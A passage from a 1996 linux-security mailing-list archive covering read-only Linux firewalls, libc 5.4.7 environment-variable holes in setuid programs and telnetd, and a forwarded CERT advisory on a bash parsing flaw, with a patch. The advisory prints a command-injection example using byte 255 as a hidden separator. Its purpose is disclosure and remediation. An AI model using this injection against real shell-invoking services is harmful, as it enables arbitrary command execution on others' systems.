Oct 1996 15:57:51 GMT Organization: DataHaven Project +1 412 421 4516 (DHP.COM) Lines: 16 Message-ID: <[email protected]> References: <[email protected]> NNTP-Posting-Host: dhp.com X-Newsreader: TIN [UNIX 1.3 unoff BETA release 960917] Sender: [email protected] Precedence: list David Holland wrote: : I'm working on a fixed version [I've been altogether too busy of late, : I'm afraid]. It is reasonably safe to use the 0.07A telnet; just don't : use it as part of a restricted shell setup. : The telnet*D* in 0.07A on the other hand is pretty unsafe. Or you can get the original telnet/telnetd from cray and apply the patches I have available. ftp://ftp.dhp.com/pub/linux/security/telnet.95.10.23.patch I've had no problems with this at all.... -- -Matt ([email protected]) -- DataHaven Project - http://www.dhp.com/ "That which can never be enforced should not be prohibited." From [email protected] Wed Oct 9 01:56:23 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id BAA30754; Wed, 9 Oct 1996 01:56:23 -0400 Date: Tue, 8 Oct 1996 10:35:36 -0700 Message-Id: <[email protected]> From: David Bonn To: Jozsef Kadlecsik Cc: [email protected] Subject: Re: [linux-security] Linux firewall with ro fs? In-Reply-To: References: <[email protected]> X-Face: XqRX&d@*a1_=Sj'S2uy!1yF*A;#j3jP MlQ~tg6Wz[+$c~|cKDX>>>> "Jozsef" == Jozsef Kadlecsik writes: Jozsef> Hello, Jozsef> I'm thinking on building a firewall with Linux and have just thought Jozsef> the following: I'm paranoid on firewalls and want it to be as secure Jozsef> as possible. Is there any difficulty in running Linux with all Jozsef> filesystems ro? (The only writable fs would be /var = noexec, nosuid, Jozsef> nodev.) The mount command would be a patched one which wouldn't Jozsef> make possible to re-mount an fs to r/w. Make a boot floppy with a minimal system and write your own "init" program that builds filter rules, configures network interfaces, and then happily sits. Then pull the hard drive out of the machine and put it somewhere it can do some good. If you want logging, use syslogd to send it to another host. Configure the firewall by making new floppies and hand-carrying them to the firewall machine. The ramdisk documentation in the kernel source give good hints about how to make that magic boot floppy. We've built firewalls this way in as little as 4MB of RAM and less than 1024k of the space on the floppy -- compressed filesystems are a good thing. Proxy daemons will cost you a bit more in the memory department, but that's no big deal. We've never gotten above 6MB of ram used with our proxy servers and firewall and ramdisks. You'll know you've done this right when you don't need a shell and have less than 100 files (counting device files) on the whole system. dwb Jozsef> [REW: Good idea. Remember to make /tmp a link to /var/tmp. Don't Jozsef> bother with the mount thing. I'd assume that the hackers would be Jozsef> able to get themselves a new mount binary. (If they are already running Jozsef> stuff as root.......) ... but not as secure as a system which had no shell, and ran no processes at all as root. dwb From [email protected] Wed Oct 9 01:56:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id BAA30745; Wed, 9 Oct 1996 01:56:21 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] libc 5.4.7 To: [email protected] Date: Tue, 8 Oct 1996 15:31:24 -0400 (EDT) Cc: [email protected] In-Reply-To: from "Vladimir Vuksan" at Oct 7, 96 08:32:18 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Could you post where the latest version of libc could be downloaded from. > Thanks. [If one person asks, at least a couple dozen more want to hear. This is not, perhaps, quite as common knowledge as it ought to be. Flames to /dev/null.] ftp://tsx-11.mit.edu/pub/linux/packages/GCC ftp://sunsite.unc.edu/pub/Linux/GCC and mirrors. The files are libc-5.4.7.bin.tar.gz (binaries) libc-5.4.7.tar.gz (sources) release.libc-5.4.7 (release notes, PLEASE READ THEM FIRST) There is also a 5.3.12 -> 5.4.7 source patch. -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Wed Oct 9 13:01:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id NAA03765; Wed, 9 Oct 1996 13:01:22 -0400 Resent-Date: Wed, 9 Oct 1996 12:49:47 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] Message-Id: <[email protected]> Organization: CERT(sm) Coordination Center - +1 412-268-7090 Reply-To: [email protected] From: CERT Advisory To: [email protected] Subject: [linux-security] CERT Advisory CA-96.22 - Vulnerabilities in bash Date: Tue, 8 Oct 1996 10:30:28 -0400 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list This is now rather old news, but I tend to pass on all CERT advisories that are related to or affect Linux anyway, primarily for those that might have missed the news previously. -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.22 Original issue date: October 8, 1996 Last revised: -- Topic: Vulnerabilities in bash - ------------------------------------------------------------------------------ The original technical content for this advisory was published by the IBM-ERS response team and is used here with their permission. This advisory describes two problems with the GNU Project's Bourne Again SHell (bash): one in yy_string_get() and one in yy_readline_get(). The vulnerability in yy_string_get() allows the character with value 255 decimal to be used as a command separator. When used in environments where users provide strings to be used as commands or arguments to commands, bash can be tricked into executing arbitrary commands. It is not clear whether the problem with yy_readline_get() results in an exploitable vulnerability, though you may want to address both problems for completeness. The problems affect bash versions 1.14.6 and earlier. The CERT/CC team recommends that you upgrade to bash 1.14.7 as soon as possible, as discussed in Section III.A below. Section III.B contains a patch for 1.14.7, which we recommend using to address the yy_readline_get() problem. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. - ---------------------------------------------------------------------------- I. Description A. Introduction The GNU Project's Bourne Again SHell (bash) is a drop-in replacement for the UNIX Bourne shell (/bin/sh). It offers the same syntax as the standard shell, and it also includes additional functionality such as job control, command line editing, and history. Although bash can be compiled and installed on almost any UNIX platform, its most prevalent use is on "free" versions of UNIX such as Linux, where it has been installed as "/bin/sh" (the default shell for most uses). The bash source code is freely available from many sites on the Internet. B. Vulnerability Details 1. Vulnerability in yy_string_get() There is a variable declaration error in the "yy_string_get()" function in the "parse.y" module of the "bash" source code. This function is responsible for parsing the user-provided command line into separate tokens (commands, special characters, arguments, etc.). The error involves the variable "string", which has been declared to be of type "char *". The "string" variable is used to traverse the character string containing the command line to be parsed. As characters are retrieved from this pointer, they are stored in a variable of type "int". On systems/compilers where the "char" type defaults to "signed char" this value will be sign-extended when it is assigned to the "int" variable. For character code 255 decimal (-1 in two's complement form), this sign extension results in the value (-1) being assigned to the integer. However, (-1) is used in other parts of the parser to indicate the end of a command. Thus, the character code 255 decimal (377 octal) will serve as an unintended command separator for commands given to bash via the "-c" option. For example, bash -c 'ls\377who' (where "\377" represents the single character with value 255 decimal) will execute two commands, "ls" and "who". 2. Possible vulnerability in yy_readline_get() A similar problem exists with the "yy_readline_get()" function, which is also in the file "parse.y" and which is used to read commands in interactive shells (ones that print a prompt and read from the keyboard, a shell script, or a pipe). It is not clear that this problem produces any exploitable vulnerabilities in the bash program; however, you may wish to address the problem for the sake of completeness. II. Impact This unexpected command separator can be dangerous, especially on systems such as Linux where bash has been installed as "/bin/sh," when a program executes a command with a string provided by a user as an argument using the "system()" or "popen()" functions (or by calling "/bin/sh -c string" directly). This is especially true for the CGI programming interface in World Wide Web servers, many of which do not strip out characters with value 255 decimal. If a user sending data to the server can specify the character code 255 in a string that is passed to a shell, and that shell is bash, the user can execute any arbitrary command with the user-id and permissions of the user running the server (frequently "root"). The bash built-in commands "eval," "source," and "fc" are also potentially vulnerable to this problem. III. Solution A. Vulnerability in yy_string_get On 27 August 1996, Version 1.14.7 of bash was released. You can obtain this new version from: ftp://slc2.ins.cwru.edu/pub/dist/bash-1.14.7.tar.gz B. Vulnerability in yy_readline_get It is not clear that this problem produces any exploitable vulnerabilities in the "bash" program; however, you may wish to address the problem for the sake of completeness. This problem can be alleviated by applying the patch below to the bash source code, then recompiling the program, and installing the new version. The patch below is for Version 1.14.7 of bash. Source code for this version can be obtained from the site listed above. - ---------------------------------- cut here --------------------------------- *** parse.y.old Mon Aug 26 11:15:55 1996 - - - - --- parse.y Wed Aug 28 08:49:15 1996 *************** *** 801,807 **** #if defined (READLINE) char *current_readline_prompt = (char *)NULL; ! char *current_readline_line = (char *)NULL; int current_readline_line_index = 0; static int - - - - --- 801,807 ---- #if defined (READLINE) char *current_readline_prompt = (char *)NULL; ! unsigned char *current_readline_line = (unsigned char *)NULL; int current_readline_line_index = 0; static int - --------------------------------- cut here ---------------------------------- To apply this patch, save the text between the two "--- cut here ---" lines to a file, change directories to the bash source directory, and issue the command patch < filename If you do not have the patch program, you can obtain it from ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz or you can apply the patch by hand. After applying the patch, recompile and reinstall the bash program by following the directions in the "INSTALL" file, included as part of the bash distribution. - ---------------------------------------------------------------------------- The CERT Coordination Center thanks IBM-ERS for permission to reproduce the technical content in their IBM Emergency Response Service Security Vulnerability Alerts ERS-SVA-E01-1006:004.1 and ERS-SVA-E01-1006:004.2. These alerts are copyrighted 1996 International Business Machines Corporation. - ---------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - --------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - ----------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - ----------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.22.bash_vuls http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMlpe6nVP+x0t4w7BAQGXjQP7BkkMX06QR3nQEV2FV6Qo4p0bVSU88Kef a9kjcXhJyUM1gE0QnLNo8dbL5PAUvatlRDowZv71l+UTh0BZum8apq+dpOhe+WF+ ko95vQEqKbfSkY7FiTrOY/gKJZWMV31ddlwCldl68OKbuRqQg6hfgWSQX264jWb3 m+nIj5VkuK8= =Fodb -----END PGP SIGNATURE----- linux-security/linux-security.961012100664 1767 1767 53154 6227735354 16662 0ustar majdommajdomFrom [email protected] Sat Oct 12 06:45:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA07051; Sat, 12 Oct 1996 06:45:52 -0400 Date: Fri, 11 Oct 1996 09:17:42 +0100 (MET) From: Jozsef Kadlecsik To: [email protected] cc: Jozsef Kadlecsik Subject: [linux-security] Summary: Linux firewall with ro fs? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello, My question was: > I'm thinking on building a firewall with Linux and have just thought > the following: I'm paranoid on firewalls and want it to be as secure > as possible. Is there any difficulty in running Linux with all > filesystems ro? (The only writable fs would be /var = noexec, nosuid, > nodev.) The mount command would be a patched one which wouldn't > make possible to re-mount an fs to r/w. I received three type of answers/solutions 1. It's OK and doable, but don't forget about /var/spool/cron/crontabs/root and other critical files under the writable /var. 2. Better use SCSI disks with hardware pin for ro - or CD-ROM. 3. Use one-floppy system with ramdisk, so the system doesn't need a hard disk at all. I must admint I love the idea of the latter, however I cannot see how could I handle the problem of a possible big mail spool, not to mention the static binaries versus shared libraries question. [REW: Oh.. naughty naughty, you want to run stuff on your firewall.... (Some people think a firewall shouldn't run any applications like mail)] I think I choose the solution of a physically ro SCSI disk and a rw disk with carefully checked /var. Thank you the answers sent to me private or in this mailing list. With the best regards, Jozsef Kadlecsik - E-mail : [email protected], [email protected] WWW-Home: http://www.kfki.hu/~kadlec Address : KFKI Research Institute for Particle and Nuclear Physics P.O.B 49 Budapest, 1525 Hungary From [email protected] Sat Oct 12 06:46:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA07066; Sat, 12 Oct 1996 06:46:11 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: [linux-security] libc 5.4.7 To: [email protected] (David Holland) Date: Wed, 9 Oct 1996 22:57:18 +0100 (BST) Cc: [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "David Holland" at Oct 9, 96 02:26:23 pm Content-Type: text Sender: [email protected] Precedence: list > > Does this also drop the variables from programs run by a setuid program ? > No. libc ignores the variables; it does not clear them. So a setuid app that runs an app with uid set to the euid is still a walking road accident. (like telnetd running login) Alan From [email protected] Sat Oct 12 06:46:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA07079; Sat, 12 Oct 1996 06:46:16 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] libc 5.4.7 To: [email protected] (Alan Cox) Date: Thu, 10 Oct 1996 12:34:02 -0400 (EDT) Cc: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "Alan Cox" at Oct 10, 96 09:48:55 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > Yes. IMO, one should not do that (personally I wouldn't count on the > > right thing happening with LD_*, much less any other environment > > variables, rlimits, utmp entries, umasks, or what-have-you.) > > With ld.so.7.14 the LD_ variables are correctly scrubbed. rlimits can be > a problem as sendmail has demonstrated. If you're writing for multiple platforms you don't *know* the LD_ stuff will get handled right. -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Sat Oct 12 06:46:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA07092; Sat, 12 Oct 1996 06:46:19 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] libc 5.4.7 To: [email protected] (Florian La Roche) Date: Wed, 9 Oct 1996 17:42:35 -0400 (EDT) Cc: [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "Florian La Roche" at Oct 9, 96 09:47:20 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > It's been two months. You can read any file trivially on an unpatched > > Slackware system without logging in. You can get a root shell with a > > bit more effort. This is not acceptable. > > Slackware has been unacceptable for a long time and probably won't change > in the future... That's true, but a lot of people are running it and they need to be made aware of the hazard. I haven't put out a bulletin urgently advising everyone to upgrade to netkit-b-0.08 because in order to explain why I need to talk about the libc problems, and until now there hasn't been a public release of a fixed libc. > I am jus afraid, that 5.4.x is not yet tested enough and that some > people would have to downgrade again. So am I. I don't know what else we can do. We're already approaching typical vendor turnaround time on this security hole. :( -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Sat Oct 12 06:46:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA07104; Sat, 12 Oct 1996 06:46:22 -0400 Message-Id: <[email protected]> Date: Thu, 10 Oct 1996 10:51:27 +0200 From: [email protected] (Florian La Roche) To: [email protected] (David Holland) Cc: [email protected] (Jauder Ho), [email protected], [email protected], [email protected], [email protected] Subject: Re: [linux-security] libc 5.4.7 In-Reply-To: <[email protected]>; from David Holland on Oct 9, 1996 19:03:15 -0400 References: <[email protected]> X-Mailer: Mutt 0.45 Mime-Version: 1.0 Sender: [email protected] Precedence: list David Holland writes: > > 5.4.8 is totally buggy for me. I am unable to compile anything > > with it. I get a bunch of undefined stuff. I think putshort is one of > > them.. just try compiling a hello.c with 5.4.8 There is a need to fix this > > and others so that we have a decent working libc. 5.4.7 is pretty stable > > but is pretty stable stable enough. Besides the 5.4.x series of libcs > ^^^^^^^^^^^^^^^^^^^^^^^^^^^ > ? > > crashes netscape if it runs java and occasionally causes netscape to croak > > without reason. > > Does this happen to anyone else? > > Does anyone have any idea why? Do we need to make a 5.3.12A release? This is happening for many people. One problem is an incompatible libxpm and the other seems to be different malloc in 5.3.12 or higher. (5.2.18 is best for netscape.) xpm seems to be the worst thing. If you have menues or buttons with small icons, netscape easily crashes. (Those icons are normally only available, if people have installed Motif.) Florian From [email protected] Sat Oct 12 06:46:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA07118; Sat, 12 Oct 1996 06:46:25 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] libc 5.4.7 To: [email protected] (Matt) Date: Wed, 9 Oct 1996 14:24:58 -0400 (EDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Matt" at Oct 8, 96 03:57:51 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > David Holland wrote: > : I'm working on a fixed version [I've been altogether too busy of late, > : I'm afraid]. It is reasonably safe to use the 0.07A telnet; just don't > : use it as part of a restricted shell setup. > > : The telnet*D* in 0.07A on the other hand is pretty unsafe. > > Or you can get the original telnet/telnetd from cray and apply the > patches I have available. > > ftp://ftp.dhp.com/pub/linux/security/telnet.95.10.23.patch > > I've had no problems with this at all.... You may not, but from a cursory inspection it's not safe - your patch doesn't address anything related to security whatsoever, and the original source does not appear to block RESOLV_HOST_CONF or any of the other things libc honors, although it does block LD_*. The libc upgrade disallows these settings for setuid and setgid programs; since login is not setuid when run from telnetd, anything login does that might tickle these variables is a major hazard. This is doubly true if your login is statically linked against a libc prior to 5.4.7, or if you haven't updated libc, in which case buffer overflow games are possible too. ** To repeat: Do NOT use cray telnetd at this point. -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Sat Oct 12 06:46:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA07130; Sat, 12 Oct 1996 06:46:28 -0400 From: Zoltan Hidvegi Message-Id: <[email protected]> Subject: Re: [linux-security] Linux firewall with ro fs? To: [email protected] (Jozsef Kadlecsik) Date: Thu, 10 Oct 1996 00:06:57 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: from Jozsef Kadlecsik at "Oct 7, 96 10:36:36 am" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Jozsef Kadlecsik wrote: > Hello, > > I'm thinking on building a firewall with Linux and have just thought > the following: I'm paranoid on firewalls and want it to be as secure > as possible. Is there any difficulty in running Linux with all > filesystems ro? (The only writable fs would be /var = noexec, nosuid, > nodev.) The mount command would be a patched one which wouldn't > make possible to re-mount an fs to r/w. It seems to be perfectly possible. On the Linux systems I manage I am able to remount /usr and / ro any time. I have used this a few times to fsck / and /usr without shutting down the system. None of these systems are firewalls but one of them is a havily used NFS/ftp/www server with www proxy cache etc. I think all current distributions allow ro mounted /usr and / filesystems. > [REW: Good idea. Remember to make /tmp a link to /var/tmp. Don't > bother with the mount thing. I'd assume that the hackers would be > able to get themselves a new mount binary. (If they are already running > stuff as root.......) They could not execute the mount binary with noexec on /var. But they can probably write it in perl. Any program which can load user specified birary modules should be disabled. The best solution is probably put together such a system by hand including only those binaries which are necessary for the firewall. > I'd suggest delving into the kernel sources and finish off implementing > "securelevel" which would disallow reading/writing devices, and remounting > filsystems r/w, loading modules etc etc..] That would be the real solution. Zoltan From [email protected] Sat Oct 12 06:46:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA07141; Sat, 12 Oct 1996 06:46:30 -0400 From: David Holland Message-Id: <[email protected]> Subject: [linux-security] tty chowning To: [email protected] Date: Thu, 10 Oct 1996 01:22:19 -0400 (EDT) Cc: [email protected] (David Holland) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list About a month ago I mentioned a way to handle tty chowning without being root. Unfortunately, it had some problems. Here's another shot: Make an ioctl on the pty end that does the chowning. ioctl(pty_fd, TIOCCHOWN, path) In order to be able to find the tty end, you pass in the path to the tty end. The ioctl confirms that the path points to a device inode that's the tty end of the pty in question (otherwise returns EPERM), and then does chmod(path, 0600) chown(path, getuid(), ?); revoke(path) Linux needs a revoke, but that's another problem entirely. I'm not sure what to do with the gid - maybe assume they'll all be initialized to group tty and not change it? Maybe have the gid to use be passed into the ioctl? Suggestions? The code to open a pty would then look something like this: while (1) { char *path = mumble_get_next_pty_name(); if (!path) break; int ptyfd = open(path, O_RDWR); if (ptyfd<0) continue; path[5] = 't'; if (ioctl(ptyfd, TIOCCHOWN, path)<0) continue; int ttyfd = open(path, O_RDWR); if (ttyfd<0) { close(ptyfd); continue; } do_something_with_ptyfd_such_as_fork(ptyfd); return ttyfd; } return -1; Thoughts? -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Sat Oct 12 06:46:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA07152; Sat, 12 Oct 1996 06:46:33 -0400 Date: Tue, 8 Oct 1996 22:48:30 -0700 (PDT) From: Daniel Pewzner To: Jozsef Kadlecsik cc: [email protected] Subject: Re: [linux-security] Linux firewall with ro fs? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I thought about putting an entire fs on cdrom. With the current price or cdrom writers, you could just burn another when you need to update. I know its wasteful, but its a fun idea. Not all motherboards boot of cdrom, of course. When booting, create a little ramdisk you can write to, and have writable files a sym link to the ramdisk. Use a printer for your syslogs, so you have a hardcopy. Its probably not something I'll ever do, but sounds cool ;) On Mon, 7 Oct 1996, Jozsef Kadlecsik wrote: > I'm thinking on building a firewall with Linux and have just thought > the following: I'm paranoid on firewalls and want it to be as secure > as possible. Is there any difficulty in running Linux with all > filesystems ro? (The only writable fs would be /var = noexec, nosuid, > nodev.) The mount command would be a patched one which wouldn't > make possible to re-mount an fs to r/w. > > [REW: Good idea. Remember to make /tmp a link to /var/tmp. Don't > bother with the mount thing. I'd assume that the hackers would be > able to get themselves a new mount binary. (If they are already running > stuff as root.......) > > I'd suggest delving into the kernel sources and finish off implementing > "securelevel" which would disallow reading/writing devices, and remounting > filsystems r/w, loading modules etc etc..] From [email protected] Sat Oct 12 06:46:39 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id GAA07169; Sat, 12 Oct 1996 06:46:39 -0400 Date: Wed, 9 Oct 1996 12:37:45 -0700 (PDT) From: Jauder Ho X-Sender: jauderho@marvin To: David Holland Cc: Florian La Roche , [email protected], [email protected], [email protected] Subject: Re: [linux-security] libc 5.4.7 In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list 5.4.8 is totally buggy for me. I am unable to compile anything with it. I get a bunch of undefined stuff. I think putshort is one of them.. just try compiling a hello.c with 5.4.8 There is a need to fix this and others so that we have a decent working libc. 5.4.7 is pretty stable but is pretty stable stable enough. Besides the 5.4.x series of libcs crashes netscape if it runs java and occasionally causes netscape to croak without reason. --Jauder On Wed, 9 Oct 1996, David Holland wrote: > > > > Ahhhh, RESOLV_HOST_CONF is fixed in 5.4.7 eh? well, i fixed it with a > > > > PATCH for 1.8.2..... so, thats no prob ;> > > > > > > I should point out that this is by no means the only security problem > > > fixed in 5.4.7 - there are a number of others, at least one of which > > > can possibly permit anyone anywhere on the net to get a root shell, > > > and several where users can get root shells. > > > > > > RESOLV_HOST_CONF isn't the only environment variable referenced by > > > libc - nor is it the least dangerous one. You need to update to libc > > > 5.4.6 or higher (that protects environment vars in setuid programs) > > > and install the telnetd from NetKit-B-0.08 or equivalent, to protect > > > against having these things sent via telnet. > > > > > > I am not going to post a complete catalog of the problems at this > > > time, but I advise strongly against complacency or assuming a > > > home-grown RESOLV_HOST_CONF patch is sufficient. > > > > The RESOLV_HOST_CONV Bug can be deleted by a small change in the loader > > that just deleted that environment-variable for suid programs. > > Reread the part of my previous message you just quoted - > RESOLV_HOST_CONF is *not* the only problem. > > > Is 5.4.7 really enough bug-free to push people using it? I saw YP > > fixes mentioned in the 5.4.8 changelog. Is 5.4.7 still usable? (Haven't > > looked at the changes.) > > It better be. It's already been two months since this problem was > discovered; it's high time the fixes were available. I made it pretty > clear to HJ that we needed a working release, and I bloody well hope > we have it 'cause we've got to use it. > > > What bug-reports did you get for NetKit-B 0.08? I have just found > > a bug in telnet, that closes the connection if telnet gets a return > > value of <=0 Bytes instead of just checking for <0. > > ("telnet somewhere; cat file" will sometimes trigger this bug) > > A number. NetKit-B-0.09 would be out already if I had more time to > finish it off. > > I think I have that one fixed, but just in case could you send me the > line numbers? > > > I think, we should take some more time and not start pushing people... > > It's been two months. You can read any file trivially on an unpatched > Slackware system without logging in. You can get a root shell with a > bit more effort. This is not acceptable. > > -- > - David A. Holland | VINO project home page: > [email protected] | http://www.eecs.harvard.edu/vino > .sig under construction From [email protected] Sat Oct 12 11:36:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA09280; Sat, 12 Oct 1996 11:36:11 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] libc 5.4.7 To: [email protected] (Florian La Roche) Date: Sat, 12 Oct 1996 13:44:14 +0100 (BST) Cc: [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "Florian La Roche" at Oct 10, 96 10:51:27 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > This is happening for many people. One problem is an incompatible libxpm > and the other seems to be different malloc in 5.3.12 or higher. > (5.2.18 is best for netscape.) Im running a patched 5.2.18 still. We definitely need a 5.3.12patched release as libc5.4 is nowhere near production quality yet. Its good developer quality but not had the final polish. Alan linux-security/linux-security.961013100664 1767 1767 26274 6230210414 16641 0ustar majdommajdomFrom [email protected] Sun Oct 13 11:53:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA23462; Sun, 13 Oct 1996 11:53:49 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] libc 5.4.7 To: [email protected] (Alan Cox) Date: Wed, 9 Oct 1996 18:41:26 -0400 (EDT) Cc: [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: from "Alan Cox" at Oct 9, 96 10:57:18 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list >>> Does this also drop the variables from programs run by a setuid program ? >> No. libc ignores the variables; it does not clear them. > > So a setuid app that runs an app with uid set to the euid is still a walking > road accident. (like telnetd running login) Yes. IMO, one should not do that (personally I wouldn't count on the right thing happening with LD_*, much less any other environment variables, rlimits, utmp entries, umasks, or what-have-you.) -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino From [email protected] Sun Oct 13 11:53:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA23472; Sun, 13 Oct 1996 11:53:52 -0400 From: Alan Cox Message-Id: <[email protected]> Subject: Re: [linux-security] libc 5.4.7 To: [email protected] (David Holland) Date: Thu, 10 Oct 1996 09:48:55 +0100 (BST) Cc: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: <[email protected]> from "David Holland" at Oct 9, 96 06:41:26 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Yes. IMO, one should not do that (personally I wouldn't count on the > right thing happening with LD_*, much less any other environment > variables, rlimits, utmp entries, umasks, or what-have-you.) With ld.so.7.14 the LD_ variables are correctly scrubbed. rlimits can be a problem as sendmail has demonstrated. Alan From [email protected] Sun Oct 13 11:53:54 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA23483; Sun, 13 Oct 1996 11:53:54 -0400 Date: Sat, 12 Oct 1996 13:42:29 -0400 (EDT) From: Roscinante To: Linux-security Subject: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [Rosc] > > Are there patches to the original telnet/d at least? On Wed, 9 Oct 1996, David Holland wrote: > You need to patch it to block all environment variables except for > those known to be safe (which is basically limited to a half dozen or > so you can find in the current telnetd source.) Ok, I spent the day doing a line-by-line comparison of the old telnetsnoopd & NetKit's telnetd, and as I said previously, there does not seem to be 